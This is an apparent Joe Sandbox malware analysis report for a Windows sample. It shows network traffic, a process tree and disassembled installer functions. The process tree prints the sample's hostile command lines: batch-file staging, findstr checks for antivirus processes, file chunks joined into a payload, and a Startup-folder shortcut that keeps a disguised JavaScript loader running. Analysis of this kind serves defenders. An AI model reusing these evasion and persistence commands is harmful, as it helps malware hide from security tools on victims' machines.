2024-10-12 23:58:26 UTC	692	IN	HTTP/1.1 403 Forbidden Date: Sat, 12 Oct 2024 23:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sat, 12 Oct 2024 23:58:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ch4qTSefLFTWtwYUM37eMOAFNzjtscZkZ27JaH63usGFPA8iwUwD9FqLMHUCmx0FKaJ%2F%2Bk1KVthNbrnq%2BhgzkDuQzBZ4g3mx%2Buij8fpdirnFExvNcIBrku6BNqF794%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d1b09b57dbf0f6c-EWR
2024-10-12 23:58:26 UTC	677	IN	Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a1<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-12 23:58:26 UTC	1369	IN	Data Raw: 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 Data Ascii: _styles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!na
2024-10-12 23:58:26 UTC	1369	IN	Data Raw: 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 Data Ascii: <div class="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect its
2024-10-12 23:58:26 UTC	1106	IN	Data Raw: 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 Data Ascii: m hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.33</span> <span class="cf-footer-separator
2024-10-12 23:58:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:58:00
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cW5i0RdQ4L.exe"
Imagebase:	0x400000
File size:	1'086'602 bytes
MD5 hash:	C065BA22909FC8DBDED4EA0EEBB24AD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:58:01
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:58:01
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:58:03
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xd70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:58:03
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x770000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:58:04
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xd70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:58:04
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0x770000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:58:04
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 103495
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:58:04
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "aroundaccommodategroupseverything" Fine
Imagebase:	0x770000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:58:04
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:58:05
Start date:	12/10/2024
Path:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
Wow64 process (32bit):	true
Commandline:	Powder.pif n
Imagebase:	0xc80000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs Detection: 10%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	19:58:05
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x370000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:58:06
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:58:06
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:58:18
Start date:	12/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js"
Imagebase:	0x7ff702770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:58:18
Start date:	12/10/2024
Path:	C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"
Imagebase:	0x2f0000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs Detection: 10%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1528
Total number of Limit Nodes:	34

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

@rD, xrefs: 004053D7
{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NCRC, xrefs: 0040397C
NSIS Error, xrefs: 004038E2
_?=, xrefs: 00403A64
SeShutdownPrivilege, xrefs: 00403C16
1C, xrefs: 00403B56
/D=, xrefs: 004039A6
Error launching installer, xrefs: 00403A7D
~nsu.tmp, xrefs: 00403AF7
\Temp, xrefs: 00403A1B

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
